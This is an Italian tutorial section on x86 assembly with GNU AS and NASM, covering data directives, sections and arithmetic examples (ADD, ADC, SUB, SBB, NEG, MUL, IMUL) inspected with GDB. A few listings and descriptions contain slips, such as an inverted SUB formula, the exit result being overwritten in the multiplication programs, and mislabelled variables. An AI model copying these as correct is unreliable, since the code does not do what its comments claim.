75.4.7.2 Direttiva «equ»

La direttiva '**`equ`**' viene usata per definire delle costanti simboliche (attraverso un nome, ovvero un'etichetta) da utilizzare poi nelle istruzioni, al posto del dato corrispondente. In linea di principio non dovrebbe essere possibile ridefinire le costanti.

GNU AS **.equ *nome*, *valore***

NASM ***nome* equ *valore***

Nell'esempio seguente si associa al simbolo '**`ADDRESS`**' il numero otto:

GNU AS
```
.equ ADDRESS, 8
```

NASM
```
ADDRESS equ 8
```

75.4.7.3 Direttive di dichiarazione dei dati

Attraverso delle direttive del compilatore si definiscono delle aree di memoria, a cui si fa riferimento nelle istruzioni attraverso dei nomi simbolici (etichette). In questo modo il compilatore attribuisce il loro indirizzo e lo sostituisce nella fase di assemblaggio. Si distingue tra dati che devono essere inizializzati preventivamente con un certo valore e dati il cui valore iniziale è indifferente. Quando si tratta di dati privi di valore iniziale, le informazioni necessarie consistono solo nel nome e nella dimensione dell'area di memoria:

GNU AS `.lcomm` ***nome*** `,` ***dimensione_in_byte***

NASM ***nome*** `resb` ***dimensione_in_byte***

NASM ***nome*** `resw` ***dimensione_in_multipli_di_16_bit***

NASM ***nome*** `resd` ***dimensione_in_multipli_di_32_bit***

Segue la descrizione di alcuni esempi.

- GNU AS `.lcomm BUFFER, 500`

  NASM `BUFFER resb 500`

  Dichiara localmente un'area di memoria da 500 byte, nominata provvisoriamente '`BUFFER`'.

- GNU AS `.lcomm NUMERO, 4`

  NASM `NUMERO resd 1`

  Dichiara localmente un'area di memoria da 4 byte (32 bit), nominata provvisoriamente '`NUMERO`'.

Quando si tratta di dati da inizializzare, le informazioni necessarie alla dichiarazione consistono nel nome e nel contenuto, mentre la dimensione deriva dalla pseudoistruzione scelta:

GNU AS ***nome*** `:` `.ascii` ***stringa*** [`,` ***stringa***]...

GNU AS ***nome*** `:` `.byte` ***byte*** [`,` ***byte***]...

GNU AS ***nome*** `:` `.int` ***intero*** [`,` ***intero***]...

NASM ***nome*** `db` ***byte*** [`,` ***byte***]

NASM ***nome*** `dd` ***intero*** [`,` ***intero***]

Segue la descrizione di alcuni esempi.

- GNU AS `X1:   .byte 65`

  NASM `X1 db 65`

  Inizializza l'area di memoria identificata temporaneamente con il nome '`X1`', con il valore 65_{10}.

- GNU AS **`X2:   .byte 'A'`**

  NASM **`X2 db 'A'`**

  Inizializza l'area di memoria identificata temporaneamente con il nome '**`X2`**', inserendo il codice corrispondente alla lettera «A».

- GNU AS **`X3:   .int 12345`**

  NASM **`X3 dd 12345`**

  Inizializza l'area di memoria identificata temporaneamente con il nome '**`X3`**', inserendo il valore 12345.

- GNU AS **`X4:   .ascii 'Ciao!', 0`**

  NASM **`X4 db 'Ciao', 0`**

  Inizializza l'area di memoria a partire dall'indirizzo identificato temporaneamente con il nome '**`X3`**', inserendo una stringa, terminata con il valore zero.

75.4.8 Sezioni del sorgente

Il sorgente si suddivide in sezioni, le quali descrivono la struttura del file-oggetto che si deve andare a produrre. Per quanto riguarda il formato ELF di un sistema GNU/Linux, si distingue l'area del codice, da quella dei dati; inoltre, nell'ambito dei dati si distingue la parte di quelli preinizializzati e di quelli che non lo sono.[6]

```
.section .data
    dichiarazione_dati_inizializzati
.section .bss
    dichiarazione_dati_non_definiti
.section .text
    istruzioni_del_programma
```

```
section .data
    dichiarazione_dati_inizializzati
section .bss
    dichiarazione_dati_non_definiti
section .text
    istruzioni_del_programma
```

I due modelli sintattici si riferiscono rispettivamente a GNU AS e a NASM.

75.4.9 Usare GNU AS con la notazione Intel

È possibile chiedere al compilatore GNU AS di interpretare il sorgente secondo la sintassi «Intel». Per questo si usa la direttiva '**`.intel_syntax noprefix`**' (l'opzione '**`noprefix`**' serve a consentire di annotare i nomi dei registri senza il prefisso '**`%`**'). L'esempio visto nella sezione 75.4.1 potrebbe essere modificato nel modo seguente:

```
#
.section .data
#
.section .text
.globl _start
#
.intel_syntax noprefix
_start:
    mov  eax, 1
    mov  ebx, 7
    int  0x80
```

La direttiva fa sì che il sorgente venga interpretato secondo la sintassi Intel a partire dal punto in cui si trova. Dal momento che l'effetto riguarda solo l'interpretazione delle istruzioni di codice che si traduce in linguaggio macchina (pertanto il modo di dare le altre direttive continua a essere quello normale di GNU AS), è conveniente piazzare la direttiva '**`.intel_syntax noprefix`**' all'inizio della sezione '**`.text`**', come si vede nell'esempio.

Naturalmente è possibile tornare alla sintassi AT&T con una direttiva analoga: '**`.att_syntax`**'. Lo si può vedere nell'esempio successivo:

```
#
.section .data
#
.section .text
.globl _start
#
.intel_syntax noprefix
_start:
    mov  eax, 1
.att_syntax
    mov  $7, %ebx
    int  $0x80
```

75.5 Esempi con le «quattro operazioni»

Vengono mostrati esempi di programmi estremamente banali, per dimostrare il funzionamento delle istruzioni con cui si eseguono le «quattro operazioni» su valori interi, attraverso l'aiuto di GDB. Per la compilazione, se si utilizza GNU AS è bene ricordare di inserire l'opzione '**`--gstabs`**', mentre con NASM è bene aggiungere l'opzione '**`-g`**', in modo da poter gestire più facilmente GDB, disponendo dei riferimenti al sorgente:

$ **as --gstabs -o *nome*.o *nome*.s** [*Invio*]

$ **nasm -g -f elf -o *nome*.o *nome*.s** [*Invio*]

Tabella 75.5. Operazioni aritmetiche.

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione	Indicatori principali: *carry*, *parity*, *zero*, *sign*, *overflow*
NEG	***reg*** ***mem***	Inverte il segno di un numero, attraverso il complemento a due. ***dst*** := –***dst***	c p z s o # # # # #
ADD	***reg***, ***reg*** ***reg***, ***mem*** ***reg***, ***imm*** ***mem***, ***reg*** ***mem***, ***imm***	Somma di interi, con o senza segno, ignorando il riporto precedente. Se i valori si intendono con segno, è importante l'esito dell'indicatore di traboccamento (*overflow*), se invece i valori sono da intendersi senza segno, è importante l'esito dell'indicatore di riporto (*carry*). ***dst*** := ***org*** + ***dst***	c p z s o # # # # #
SUB	***reg***, ***reg*** ***reg***, ***mem*** ***reg***, ***imm*** ***mem***, ***reg*** ***mem***, ***imm***	Sottrazione di interi con o senza segno, ignorando il riporto precedente. ***dst*** := ***org*** – ***dst***	c p z s o # # # # #
ADC	***reg***, ***reg*** ***reg***, ***mem*** ***reg***, ***imm*** ***mem***, ***reg*** ***mem***, ***imm***	Somma di interi, con o senza segno, aggiungendo anche il riporto precedente (l'indicatore *carry*). ***dst*** := ***org*** + ***dst*** + ***c***	c p z s o t . . . . # # # # #
SBB	***reg***, ***reg*** ***reg***, ***mem*** ***reg***, ***imm*** ***mem***, ***reg*** ***mem***, ***imm***	Sottrazione di interi, con o senza segno, tenendo conto del «prestito» precedente (l'indicatore *carry*). ***dst*** := ***org*** + ***dst*** – ***c***	c p z s o t . . . . # # # # #
INC	***reg*** ***mem***	Incrementa di una unità un intero. ***dst***++	c p z s o . # # # #
DEC	***reg*** ***mem***	Decrementa di una unità un valore intero. ***dst***––	c p z s o . # # # #
MUL	***reg*** ***mem***	Moltiplicazione intera senza segno. L'operando è il moltiplicatore, mentre il moltiplicando è costituito da registri prestabiliti. ***AX*** := ***AL*src*** ***DX:AX*** := ***AX*src*** ***EDX:EAX*** := ***EAX*src***	c p z s o # ? ? ? #
DIV	***reg*** ***mem***	Divisione intera senza segno. L'operando è il divisore, mentre il dividendo è costituito da registri prestabiliti. ***AL*** := ***AX/src*** ***AH*** := ***resto*** ***AX*** := ***DX:AX/src*** ***DX*** := ***resto*** ***EAX*** := ***EDX:EAX/src*** ***EDX*** := ***resto***	c p z s o ? ? ? ? ?

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione	Indicatori principali: *carry*, *parity*, *zero*, *sign*, *overflow*
`IMUL`	***reg*** ***mem***	Moltiplicazione intera con segno. In questo caso l'operando è il moltiplicatore, mentre il moltiplicando è costituito da registri prestabiliti. ***AX*** := ***AL*src*** ***DX:AX*** := ***AX*src*** ***EDX:EAX*** := ***EAX*src***	`c p z s o` `# ? ? ? #`
`IDIV`	***reg*** ***mem***	Divisione intera con segno. L'operando è il divisore, mentre il dividendo è costituito da registri prestabiliti. ***AL*** := ***AX/src*** ***AH*** := ***resto*** ***AX*** := ***DX:AX/src*** ***DX*** := ***resto*** ***EAX*** := ***EDX:EAX/src*** ***EDX*** := ***resto***	`c p z s o` `? ? ? ? ?`

75.5.1 Somma

Viene proposto un programma che si limita a sommare due numeri (interi positivi) definiti in memoria e a restituire il risultato (ammesso che non sia troppo grande) attraverso il valore di uscita. Il programma viene mostrato sia nella forma adatta a GNU AS, sia in quella conforme a NASM. Le righe dei due listati coincidono.

```
1   # op1 + op2
2   #
3   .section .data
4   op1:    .int    15
5   op2:    .int     5
6   #
7   .section .text
8   .globl _start
9   #
10  _start:
11      mov op1, %edx       # Accumula il primo addendo in EDX.
12      add op2, %edx       # Somma il secondo addendo in EDX.
13  bp1:
14      mov $1,   %eax      # Restituisce il valore contenuto in EDX
15      mov %edx, %ebx      # come valore di uscita, attraverso la
16      int $0x80           # chiamata di sistema 1 (exit).
```

```
1   ; op1 + op2
2   ;
3   section .data
4   op1:    dd 15
5   op2:    dd  5
6   ;
```

```
7    section .text
8    global _start
9    ;
10   _start:
11       mov edx, [op1]      ; Accumula il primo addendo in EDX.
12       add edx, [op2]      ; Somma il secondo addendo in EDX.
13   bp1:
14       mov eax, 1          ; Restituisce il valore contenuto in EDX
15       mov ebx, edx        ; come valore di uscita, attraverso la
16       int 80h             ; chiamata di sistema 1 (exit).
```

Nelle righe 4 e 5 vengono dichiarate due aree di memoria della dimensione di un registro (32 bit), associando rispettivamente i nomi '**op1**' e '**op2**', a indicare il primo e il secondo operando della somma. Nella riga 11 il contenuto della memoria che rappresenta il primo operando della somma, viene inserito nel registro ***EDX***, mentre nella riga 12 si somma quanto è rappresentato dal secondo operando, nello stesso registro.

Si osservi che per indicare l'indirizzo di memoria è stata usata la modalità di indirizzamento diretta. In pratica, il compilatore sostituisce i nomi '**op1**' e '**op2**' con l'indirizzo di memoria a cui fanno riferimento.

Al termine, nelle righe da 14 a 16, si prepara la chiamata di sistema '**exit**', passando il risultato in modo che venga usato come valore di uscita. Se il risultato della somma è inferiore o uguale a 255, può essere letto.

I programmi sono uguali, a parte qualche piccola differenza nell'allocazione della memoria. Si può controllare con Objdump. Si suppone che il programma sia stato compilato con il nome 'add':

$ **objdump --disassemble add** [*Invio*]

```
add:     file format elf32-i386

Disassembly of section .text:

08048074 <_start>:
 8048074:       8b 15 8c 90 04 08       mov    0x804908c,%edx
 804807a:       03 15 90 90 04 08       add    0x8049090,%edx

08048080 <bp1>:
 8048080:       b8 01 00 00 00          mov    $0x1,%eax
 8048085:       89 d3                   mov    %edx,%ebx
 8048087:       cd 80                   int    $0x80
```

Si può controllare il funzionamento del programma, avviandolo e verificando poi il valore di uscita:

$ **./add ; echo $?** [*Invio*]

```
20
```

Si analizza il funzionamento del programma con GDB:

$ **gdb add** [*Invio*]

(gdb) **break bp1** [*Invio*]

```
Breakpoint 1 at 0x8048080: file add.s, line 14.
```

(gdb) **run** [*Invio*]

```
Starting program: /home/tizio/add

Breakpoint 1, bp1 () at add.s:14
14          mov $1,   %eax      # Restituisce il valore contenuto in EDX
Current language:  auto; currently asm
```

(gdb) **info registers** [*Invio*]

```
eax            0x0      0
ecx            0x0      0
edx            0x14     20
ebx            0x0      0
esp            0xbf9dcb10       0xbf9dcb10
ebp            0x0      0x0
esi            0x0      0
edi            0x0      0
eip            0x8048080        0x8048080 <bp1>
eflags         0x216    [ PF AF IF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x0      0
```

(gdb) **stepi** [*Invio*]

```
bp1 () at add.s:15
15          mov %edx, %ebx      # come valore di uscita, attraverso la
```

(gdb) **stepi** [*Invio*]

```
bp1 () at add.s:16
16          int $0x80           # chiamata di sistema 1 (exit).
```

(gdb) **info registers** [*Invio*]

```
eax            0x1      1
ecx            0x0      0
edx            0x14     20
ebx            0x14     20
esp            0xbfba64d0       0xbfba64d0
ebp            0x0      0x0
esi            0x0      0
edi            0x0      0
eip            0x8048087        0x8048087 <bp1+7>
eflags         0x216    [ PF AF IF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x0      0
```

(gdb) **stepi** [*Invio*][7]

```
Program exited with code 024.
```

(gdb) **quit** [*Invio*]

75.5.1.1 Traboccamento

Si può modificare leggermente il programma proposto, allo scopo di causare un traboccamento, in modo da vedere cosa accade nei registri:

```
3   .section .data
4   op1:    .int    0x7FFFFFFF  # 0b01111111111111111111111111111111
5   op2:    .int    0x00000001  # 0b00000000000000000000000000000001
```

```
3   section .data
4   op1:    dd      0x7FFFFFFF  ; 01111111111111111111111111111111b
5   op2:    dd      0x00000001  ; 00000000000000000000000000000001b
```

Compilando il programma ed eseguendolo con l'ausilio di GDB si può verificare che la somma di quei due valori trasforma il risultato in un valore apparentemente negativo, cosa che è indice di un traboccamento:

```
eax            0x0      0
ecx            0x0      0
edx            0x80000000       -2147483648
ebx            0x0      0
esp            0xbfa6f390       0xbfa6f390
ebp            0x0      0x0
esi            0x0      0
```

```
edi            0x0      0
eip            0x8048080        0x8048080 <bp1>
eflags         0xa96    [ PF AF SF IF OF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x0      0
```

A ogni modo il fatto viene sottolineato dall'indicatore di traboccamento (*overflow*). In questo caso non interviene l'indicatore di riporto (*carry*), perché se il risultato fosse da intendersi senza segno, sarebbe ancora corretto.

75.5.1.2 Riporto

Si può modificare leggermente il programma proposto, allo scopo di causare un riporto, in modo da vedere cosa accade nei registri:

```
3  .section .data
4  op1:    .int    0xFFFFFFFE  # 0b11111111111111111111111111111110
5  op2:    .int    0x00000002  # 0b00000000000000000000000000000010
```

```
3  section .data
4  op1:    dd      0xFFFFFFFE  ; 11111111111111111111111111111110b
5  op2:    dd      0x00000002  ; 00000000000000000000000000000001b
```

In questo caso, la somma dei due valori supera proprio di una unità la capienza del registro, che alla fine risulta a zero, ma l'indicatore di riporto (*carry*) segnala l'accaduto:

```
eax            0x0      0
ecx            0x0      0
edx            0x0      0
ebx            0x0      0
esp            0xbfbb44e0       0xbfbb44e0
ebp            0x0      0x0
esi            0x0      0
edi            0x0      0
eip            0x8048080        0x8048080 <bp1>
eflags         0x257    [ CF PF AF ZF IF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x0      0
```

Si può osservare che è assente l'indicatore di traboccamento (*overflow*), perché se la somma fosse avvenuta tra due numeri con segno, il risultato sarebbe corretto.

75.5.1.3 Somma di valori molti grandi

Viene mostrato un altro esempio, dove la somma riguarda valori molto grandi, divisi tra due registri. I due listati sono equivalenti e compatibili, riga per riga:

```
1   # op1 + op2
2   #
3   .section .data
4   op1:    .quad   0x00FFFFFFFFFFFFFF
5   op2:    .quad   0x0000000000000001
6   #
7   .section .text
8   .globl _start
9   #
10  _start:
11      mov op1  , %eax     # Accumula metà del primo addendo in EAX.
12      mov op1+4, %edx     # Accumula il resto del primo addendo in EDX.
13      add op2,   %eax     # Somma metà del secondo addendo in EAX.
14  bp1:
15      adc op2+4, %edx     # Somma il resto del secondo addendo in EDX.
16                          # Il risultato atteso in EDX:EAX è:
17                          # 0x01000000:0x00000000
18  bp2:
19      mov $1,    %eax     # Conclude il funzionamento del programma
20      mov $0,    %ebx     # restituendo zero in ogni caso.
21      int $0x80           #
```

```
1   ; op1 + op2
2   ;
3   section .data
4   op1:    dd  0xFFFFFFFF, 0x00FFFFFF      ; 0x00FFFFFFFFFFFFFF
5   op2:    dd  0x00000001, 0x00000000      ; 0x0000000000000001
6   ;
7   section .text
8   global _start
9   ;
10  _start:
11      mov eax, [op1]      ; Accumula metà del primo addendo in EAX.
12      mov edx, [op1+4]    ; Accumula il resto del primo addendo in EDX.
13      add eax, [op2]      ; Somma metà del secondo addendo in EAX.
14  bp1:
15      adc edx, [op2+4]    ; Somma il resto del secondo addendo in EDX.
16                          ; Il risultato atteso in EDX:EAX è:
17                          ; 0x01000000:0x00000000
18  bp2:
19      mov eax, 1          ; Conclude il funzionamento del programma
20      mov edx, 0          ; restituendo zero in ogni caso.
21      int 80h             ;
```

In questo programma ci sono delle complicazioni che vanno descritte, cominciando preferibilmente dalla versione per GNU AS (il primo listato). Nelle righe 4 e 5 vengono dichiarati due numeri molto grandi, da 64 bit. Successivamente, nelle righe da 11 a 15, si fa riferimento a questi due numeri, prendendoli a pezzi. Per la precisione, nella riga 11 si copiano i primi 32 bit a partire dall'indirizzo a cui fa riferimento l'etichetta '**`op1`**' (sono solo 32 bit perché l'istruzione copia il valore in un registro di tale dimensione); nella riga 12 si copiano gli altri 32 bit, indicando che dall'indirizzo dell'etichetta '**`op1`**' occorre spostarsi in avanti di quattro byte. Lo stesso ragionamento si fa per il secondo operando.

L'ordine in cui sono prelevati i dati è importante e occorre riflettere su questo fatto. Il registro ***EAX*** viene caricato con la porzione meno significativa del numero, che in memoria si trova nei «primi» 32 bit. Ciò avviene perché si intende che il microprocessore operi ordinando i byte in memoria secondo la modalità *little endian*.

Nel secondo listato, quello per NASM, non essendo possibile indicare un numero completo da 64 bit, si è reso necessario spezzarlo in due. In questo caso, per mantenere la stessa struttura dell'altro listato, i due tronconi sono stati messi in fila, apparentemente in ordine inverso, per riprodurre la stessa sequenza *little endian* complessiva.

Una volta compreso il modo in cui i dati sono prelevati dalla memoria, ci si può soffermare sulle istruzioni di somma: il troncone meno significativo viene sommato con l'istruzione '**`ADD`**', mentre per quello più significativo si usa '**`ADC`**' che aggiunge anche il riporto, se c'è.

Alla fine, una volta compilato il programma, con GDB è possibile eseguirlo fino al simbolo evidenziato dall'etichetta '**`bp1`**' per verificare l'effetto della prima addizione, quindi lo si può fare proseguire fino al simbolo '**`bp2`**', per verificare che la coppia di registri ***EDX:EAX*** contenga il risultato corretto:

`(gdb)` **`break bp1`** [*Invio*]

`(gdb)` **`break bp2`** [*Invio*]

`(gdb)` **`run`** [*Invio*]

`(gdb)` **`info registers`** [*Invio*]

```
eax            0x0      0
ecx            0x0      0
edx            0xffffff 16777215
ebx            0x0      0
esp            0xbfa89bb0       0xbfa89bb0
ebp            0x0      0x0
esi            0x0      0
edi            0x0      0
eip            0x8048085        0x8048085 <bp1>
eflags         0x257    [ CF PF AF ZF IF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x0      0
```

La prima somma ha prodotto uno zero nel registro ***EAX***, con riporto.

(gdb) **continue** [*Invio*]

(gdb) **info registers** [*Invio*]

```
eax            0x0      0
ecx            0x0      0
edx            0x1000000        16777216
ebx            0x0      0
esp            0xbfa89bb0       0xbfa89bb0
ebp            0x0      0x0
esi            0x0      0
edi            0x0      0
eip            0x804808b        0x804808b <bp2>
eflags         0x216    [ PF AF IF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x0      0
```

(gdb) **kill** [*Invio*]

(gdb) **quit** [*Invio*]

75.5.2 Sottrazione

Viene proposto un programma che esegue una sottrazione, emettendo il risultato attraverso il valore di uscita. Il programma viene mostrato sia nella forma adatta a GNU AS, sia in quella conforme a NASM. Le righe dei due listati coincidono.

```
1   # op1 - op2
2   #
3   .section .data
4   op1:    .int    0x00000001   # 0b00000000000000000000000000000001
5   op2:    .int    0x00000002   # 0b00000000000000000000000000000010
6   #
7   .section .text
8   .globl _start
9   #
10  _start:
11      mov op1, %edx       # Accumula il minuendo in EDX.
12      sub op2, %edx       # Riduce EDX del sottraendo.
13  bp:
14      mov $1,   %eax      # Restituisce il valore contenuto in EDX
15      mov %edx, %ebx      # come valore di uscita, attraverso la
16      int $0x80           # chiamata di sistema 1 (exit).
```

```
1   ; op1 - op2
2   ;
3   section .data
4   op1:    dd      0x00000001   ; 00000000000000000000000000000001b
5   op2:    dd      0x00000002   ; 00000000000000000000000000000010b
6   ;
7   section .text
8   global _start
9   ;
10  _start:
11      mov edx, [op1]      ; Accumula il minuendo in EDX.
12      sub edx, [op2]      ; Riduce EDX del sottraendo.
13  bp1:
14      mov eax, 1          ; Restituisce il valore contenuto in EDX
15      mov ebx, edx        ; come valore di uscita, attraverso la
16      int 80h             ; chiamata di sistema 1 (exit).
```

Rispetto agli esempi che riguardano la somma, qui, nella riga 12 si utilizza l'istruzione '**`SUB`**'. Come si può comprendere, dal momento che si sottrae una grandezza maggiore di quella contenuta nel minuendo, si ottiene un valore negativo, oppure, se i valori sono da intendersi senza segno, si ottiene un «riporto», come richiesta del prestito di una cifra oltre quella più significativa. Con GDB, in corrispondenza del simbolo '**`bp1`**' si possono vedere i registri e si può verificare che è scattato il riporto (*carry*) e il segno:

```
…
edx            0xffffffff       -1
…
eflags         0x297    [ CF PF AF SF IF ]
…
```

Se si lascia concludere il programma, il valore di uscita che si ottiene è 255_{10}, pari a FF_{16}, ovvero 377_{8}, ovvero 11111111_{2}, dal momento che si possono ottenere solo otto bit.

75.5.2.1 Inversione del segno

Si può vedere cosa accade se, invece di usare l'istruzione '**`SUB`**', si cambia il segno al sottraendo e lo si somma semplicemente all'altro operando:

```
1   # op1 - op2
2   #
3   .section .data
4   op1:    .int    0x00000001   # 0b00000000000000000000000000000001
5   op2:    .int    0x00000002   # 0b00000000000000000000000000000010
6   #
7   .section .text
8   .globl _start
9   #
10  _start:
```

```
11	    mov op2, %edx  # Accumula il sottraendo in EDX.
12	    neg %edx       # Ne inverte il segno con il complemento a due.
13	bp1:
14	    add op1, %edx  # Somma il minuendo a EDX.
15	bp2:
16	    mov $1,   %eax # Restituisce il valore contenuto in EDX
17	    mov %edx, %ebx # come valore di uscita, attraverso la
18	    int $0x80      # chiamata di sistema 1 (exit).
```

```
1	; op1 - op2
2	;
3	section .data
4	op1:    dd      0x00000001   ; 00000000000000000000000000000001b
5	op2:    dd      0x00000002   ; 00000000000000000000000000000010b
6	;
7	section .text
8	global _start
9	;
10	_start:
11	    mov edx, [op2] ; Accumula il sottraendo in EDX.
12	    neg edx        ; Ne inverte il segno con il complemento a due.
13	bp1:
14	    add edx, [op1] ; Somma il minuendo a EDX.
15	bp2:
16	    mov eax, 1     ; Restituisce il valore contenuto in EDX
17	    mov ebx, edx   ; come valore di uscita, attraverso la
18	    int 80h        ; chiamata di sistema 1 (exit).
```

Rispetto a quanto fatto nel caso precedente, qui, nella riga 11 viene sommato il valore del sottraendo nel registro ***EDX***, di cui viene invertito il segno nella riga 12. Successivamente, nella riga 14 viene sommato il valore del minuendo. Il risultato è lo stesso, ma gli indicatori si comportano in modo differente durante il procedimento. In corrispondenza del simbolo '**`bp1`**' si può vedere quanto segue:

```
…
edx            0xfffffffe       -2
…
eflags         0x293    [ CF AF SF IF ]
…
```

Si può osservare che l'inversione del segno ha prodotto un riporto, oltre alla segnalazione del segno, ammesso che questo vada considerato.

In corrispondenza del simbolo '**`bp2`**' è appena stata eseguita la somma del minuendo. Si può osservare che questa volta non si ottiene alcun riporto:

```
…
edx            0xffffffff       -1
…
eflags         0x293    [ PF SF IF ]
…
```

75.5.2.2 Sottrazione per fasi successive

Viene proposto un esempio di sottrazione da svolgere in due fasi, perché il valore non è contenibile in un solo registro. Si vuole eseguire: 1000000000000000_{16} – $0FFFFFFFFFFFFFFF_{16}$.

```
1    # op1 + op2
2    #
3    .section .data
4    op1:    .quad   0x1000000000000000
5    op2:    .quad   0x0FFFFFFFFFFFFFFF
6    #
7    .section .text
8    .globl _start
9    #
10   _start:
11       mov op1  , %eax # Accumula metà del primo valore in EAX.
12       mov op1+4, %edx # Accumula il resto del primo valore in EDX.
13   bp1:
14       sub op2,   %eax # Sottrae metà del secondo valore in EAX.
15   bp2:
16       sbb op2+4, %edx # Sottrae il resto del secondo valore in EDX.
17   bp3:
18       mov $1,    %eax # Conclude il funzionamento del programma
19       mov $0,    %ebx # restituendo zero in ogni caso.
20       int $0x80       #
```

```
1    ; op1 + op2
2    ;
3    section .data
4    op1:    dd  0x00000000, 0x10000000      ; 0x1000000000000000
5    op2:    dd  0xFFFFFFFF, 0x0FFFFFFF      ; 0x0FFFFFFFFFFFFFFF
6    ;
7    section .text
8    global _start
9    ;
10   _start:
11       mov eax, [op1]   ; Accumula metà del primo valore in EAX.
12       mov edx, [op1+4] ; Accumula il resto del primo valore in EDX.
13   bp1:
14       sub eax, [op2]   ; Sottrae metà del secondo valore in EAX.
```

```
15  bp2:
16      sbb edx, [op2+4] ; Sottrae il resto del secondo valore in EDX.
17  bp3:
18      mov eax, 1       ; Conclude il funzionamento del programma
19      mov edx, 0       ; restituendo zero in ogni caso.
20      int 0x80         ;
```

Il valore del minuendo viene copiato, in due pezzi, nei registri ***EDX:EAX***; quindi si sottraggono i 32 bit inferiori del sottraendo al registro ***EAX*** e infine si sottraggono i 32 bit più significativi del sottraendo dal registro ***EDX***, tenendo conto del riporto precedente.

In corrispondenza del simbolo '**`bp1`**', il minuendo è stato copiato nei registri ***EDX:EAX***:

```
…
eax            0x0      0
…
edx            0x10000000       268435456
…
eflags         0x292    [ AF SF IF ]
…
```

Al punto di '**`bp2`**' è stata eseguita la sottrazione dei 32 bit inferiori, causando un riporto, da intendersi come richiesta di un prestito:

```
…
eax            0x1      1
…
edx            0x10000000       268435456
…
eflags         0x213    [ CF AF IF ]
…
```

Al punto di '**`bp3`**' è stata completata la sottrazione:

```
…
eax            0x1      1
…
edx            0x0      0
…
eflags         0x256    [ PF AF ZF IF ]
…
```

75.5.3 Moltiplicazione senza segno

Nella moltiplicazione si distingue il fatto che si consideri il segno o meno. Quando si esegue una moltiplicazione senza segno si usa l'istruzione '**MUL**' con l'indicazione di un solo operando, perché gli altri sono impliciti. Nella moltiplicazione il contenitore del risultato deve essere più capiente di ciò che è stato usato per produrlo. Si distinguono questi casi:

$$AX \;:=\; AL * src$$

$$DX{:}AX \;:=\; AX * src$$

$$EDX{:}EAX \;:=\; EAX * src$$

In pratica, l'origine deve essere di pari dimensioni del moltiplicando, costituito, rispettivamente da: ***AL***, ***AX*** o ***EAX***.

```
1   # op1 * op2
2   #
3   .section .data
4   op1:    .short  0x8008
5   op2:    .short  0x2002
6   #
7   .section .bss
8   .lcomm prodotto, 4
9   #
10  .section .text
11  .globl _start
12  #
13  _start:
14      mov  op1, %ax       # Accumula il moltiplicando in AX.
15      mulw op2            # Moltiplica il secondo valore per AX (implicito).
16  bp1:
17      mov %ax, prodotto   # Copia in memoria la prima parte del risultato.
18      mov %dx, prodotto+2 # Copia in memoria la seconda parte del risultato.
19      mov prodotto, %eax  # Copia il risultato dalla memoria a EAX.
20  bp2:
21      mov $1,   %eax      # Restituisce il valore contenuto in EAX
22      mov %eax, %ebx      # come valore di uscita, attraverso la
23      int $0x80           # chiamata di sistema 1 (exit).
```

```
1   ; op1 * op2
2   ;
3   section .data
4   op1:    dw      0x8008
5   op2:    dw      0x2002
6   ;
7   section .bss
8   prodotto resb 4
9   ;
```

```
10   section .text
11   global _start
12   ;
13   _start:
14       mov      ax, [op1]        ; Accumula il moltiplicando in AX.
15       mul word [op2]            ; Moltiplica il secondo valore per AX (implicito).
16   bp1:
17       mov      [prodotto], ax   ; Copia in memoria la prima parte del risultato.
18       mov      [prodotto+2], dx ; Copia in memoria la seconda parte del risultato.
19       mov      eax, [prodotto]  ; Copia il risultato dalla memoria a EAX.
20   bp2:
21       mov      eax, 1           ; Restituisce il valore contenuto in EAX
22       mov      ebx, eax         ; come valore di uscita, attraverso la
23       int      0x80             ; chiamata di sistema 1 (exit).
```

In questo esempio i valori da moltiplicare sono della dimensione di 16 bit e sono, rispettivamente, 8008_{16} e 2002_{16}. Moltiplicando questi due valori si deve ottenere 10020010_{16}. In pratica si deve eseguire una moltiplicazione del tipo ***DX:AX*** := ***AX**src***.

Rispetto a esempi già visti nelle sezioni precedenti, in questo si dichiara un'area di memoria non inizializzata, nella riga numero 8, per contenere almeno quattro byte (32 bit), con il nome simbolico '**`prodotto`**'. All'interno di questa area di memoria si vuole ricostruire il risultato della moltiplicazione in modo che occupi un gruppo continuo di 32 bit.

Nella riga 15 si esegue la moltiplicazione, utilizzando come operando direttamente la memoria. Tuttavia, per farlo, occorre specificare la dimensione di questo operando, altrimenti verrebbe presa in considerazione un'area più grande del voluto.

In corrispondenza del punto '**`bp1`**' si può vedere il risultato della moltiplicazione diviso tra '**`DX`**' e '**`AX`**':

```
…
eax            0x10      16
…
edx            0x1002    4098
…
eflags         0xa93     [ CF AF SF IF OF ]
…
```

Nelle righe 17 e 18 viene copiato il risultato in memoria, ricomponendolo nell'ordine corretto, osservando che si usa una rappresentazione dei valori numerici in modalità *little endian*, quindi la parte meno significativa viene copiata prima. In corrispondenza del punto '**`bp2`**' il risultato della moltiplicazione è tutto contenuto nel registro '**`EAX`**':

```
…
eax            0x10020010       268566544
…
edx            0x1002    4098
…
eflags         0xa93     [ CF AF SF IF OF ]
…
```

75.5.4 Moltiplicazione con segno

La moltiplicazione con segno si ottiene con un'istruzione differente, '**IMUL**', che però va usata con la stessa modalità di quella senza segno. Sarebbe possibile usare più di un operando con questa istruzione, senza bisogno di operandi impliciti, ma in generale non è conveniente perché c'è il rischio di creare confusione sulla dimensione di questi operandi.

```
1   # op1 * op2
2   #
3   .section .data
4   op1:    .short   0x0007
5   op2:    .short  -0x0001
6   #
7   .section .bss
8   .lcomm prodotto, 4
9   #
10  .section .text
11  .globl _start
12  #
13  _start:
14      mov   op1, %ax      # Accumula il moltiplicando in AX.
15      imulw op2           # Moltiplica il secondo valore per AX (implicito).
16  bp1:
17      mov %ax, prodotto   # Copia in memoria la prima parte del risultato.
18      mov %dx, prodotto+2 # Copia in memoria la seconda parte del risultato.
19      mov prodotto, %eax  # Copia il risultato dalla memoria a EAX.
20  bp2:
